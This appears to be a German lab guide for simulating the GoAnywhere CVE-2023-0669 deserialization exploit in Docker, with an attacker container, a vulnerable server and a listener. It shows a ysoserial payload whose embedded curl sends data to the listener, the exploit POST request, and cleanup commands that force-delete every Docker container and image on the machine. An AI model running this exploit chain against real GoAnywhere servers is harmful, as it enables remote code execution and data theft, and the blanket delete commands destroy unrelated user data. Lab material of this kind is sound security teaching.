Projektstruktur

cve-2023-0669-simulation/ ├── docker-compose.yml ├── attacker/ │ ├── Dockerfile │ └── CVE_2023_0669_helper.java ├── vulnerable/ │ ├── Dockerfile │ └── VulnerableServer.java ├── listener/ │ ├── Dockerfile │ └── server.py └── received/ ← automatisch erstellt (Exfiltration)

2. Starte die 3 Container (Angreifer, Verwundbar, Listener)

docker-compose up --build

Problem: Fehler KeyError: 'ContainerConfig' bei docker compose up

Dieses Projekt erfordert:

• Docker Engine: v24 oder v25 mindestens
• Docker Compose: v2.20+ (automatisch mit Docker enthalten) KeyError: 'ContainerConfig' bei docker compose up Dies wird in der Regel durch veraltete oder beschädigte Docker-Metadaten oder alte Images verursacht. Entfernen Sie die beschädigten Container, Images und Metadaten:

docker compose down --remove-orphans

docker rm -f $(docker ps -aq)

docker rmi -f $(docker images -q)

Dann bauen Sie sauber neu auf:

docker compose build --no-cache

docker compose up

3. Betrete den Angreifer-Container

docker exec -it attacker bash

Generierung des sicheren Payloads (sendet nur eine Nachricht)

java -jar ysoserial-all.jar CommonsCollections6 'curl -s http://listener:8080/receive -d "PWNED-CVE-2023-0669-simulation-$(date)"' > payload.ser

Verschlüsselung des Payloads

java CVE_2023_0669_helper payload.ser 1

→ Kopiere die gesamte lange Zeichenkette, die angezeigt wird (Strg+A, dann Strg+C)

Senden des Exploits (ersetze LA_CHAINE durch das, was du gerade kopiert hast)

curl -X POST http://vulnerable:8001/goanywhere/lic/accept
-d "encryptedLicenseResponseData=LA_CHAÎNE_BASE64_ICI"
-d "acceptLicense=true"

7. Sofortiges Ergebnis

Du wirst in den Logs des Listeners (oder im Verzeichnis ./received auf deinem PC) sehen:

PWNED ! Empfangen 42 Bytes → PWNED-CVE-2023-0669-simulation-Sat 06 Dec 2025...